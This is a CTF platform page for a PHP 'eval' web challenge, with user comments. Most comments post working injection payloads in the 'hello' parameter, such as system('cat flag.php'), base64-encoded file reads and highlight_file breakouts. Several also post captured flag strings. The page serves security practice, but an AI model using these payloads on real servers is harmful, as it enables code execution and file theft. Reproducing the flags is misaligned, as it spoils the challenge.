evalWEB 未解决

分数: 15 金币: 1
题目作者: harry
一  血: moren448
一血奖励: 1金币
解  决: 18598
提  示:
描  述:
eval
评论
wxy1343 2年前

flag{616da37fa93c4832b309a22168ca486d}

回复 0

不知名学渣 2年前

/?hello=file_get_contents(%27flag.php%27),用file_get_contents也可以读取,就是不知道为什么无法在浏览器中显示出来?只能在F12源码中能看到被注释的flag.php内容?恳求大佬解答。

回复 3
19963445106 10月前

因为这是php文件,用cat和tac读也是,cat的结果只能看源码,tac因为php结构被破坏所以直接显示

回复 0

StevenXu 2年前

<php

回复 0

always 2年前

http://114.67.175.224:19137/?hello=$GLOBALS

回复 0

MuYangfool 2年前

?hello=);highlight_file(%27flag.php%27);var_dump(

回复 0

我爱你制杖 2年前

解题思路: 1.利用eval()函数可将函数中的参数当作php代码执行,故可通过命令执行漏洞system()函数去查看当前目录中的内容(如本题:?hello=system(".")来查看,获得flag.php文件名) 2.利用file()函数读取flag.php文件内容(如本题:?hello=file("flag.php"),需注意此处存在var_dun

回复 6

五无心惘然 2年前

flag{78096610f3a54eda62265ae8d6835aab}

回复 0

18244914085 2年前

直接使用system查看包含的文件flag.php, eval执行变量$a ?hello=system('cat flag.php | base64')

回复 1

Lsec 2年前

1:?hello=file('flag.php') 2:?hello=);highlight_file('flag.php');var_dump( 3:?hello=eval(system('cat flag.php | base64'))

回复 1

你呀你ii 2年前

?hello=eval(system('cat flag.php | base64'))

回复 4
baianquanzu 2年前

?hello=system('sort flag.php')

回复 0

xlxlxl 2年前

?hello=system('cat flag.php')

回复 1

凉情梦回 2年前

?hello=system('cat flag.php')

回复 3

liu666 2年前

flag{930e51a7a500775093c95aae8b67e404}

回复 3

userdong 2年前

?hello=system('cat flag.php')

回复 3

riacky 2年前

?hello=system('cat flag*')

回复 3

hhthht 2年前

flag{cea9de710e2926a7c49f12318caf3912}

回复 0

WriteUp

image
harry

1 金币

评分(10)

解题动态

uiu 攻破了该题 8小时前
Rencj 攻破了该题 11小时前
无情的白给机器人 攻破了该题 12小时前
大奇 攻破了该题 13小时前
神逆流·神里绫华 攻破了该题 16小时前
小鱼板板 攻破了该题 16小时前
kiritoldws 攻破了该题 17小时前
chenzhong 攻破了该题 1天前
gusto. 攻破了该题 1天前
z2l1 攻破了该题 1天前
多斯Nico 攻破了该题 1天前
13522765614 攻破了该题 1天前
等往事风中吹‘ 攻破了该题 2天前
evilk 攻破了该题 2天前
kim66 攻破了该题 2天前
flag大王 攻破了该题 2天前
66744565 攻破了该题 2天前
3373441596 攻破了该题 2天前
pengyu 攻破了该题 2天前
muerjing 攻破了该题 3天前
问题反馈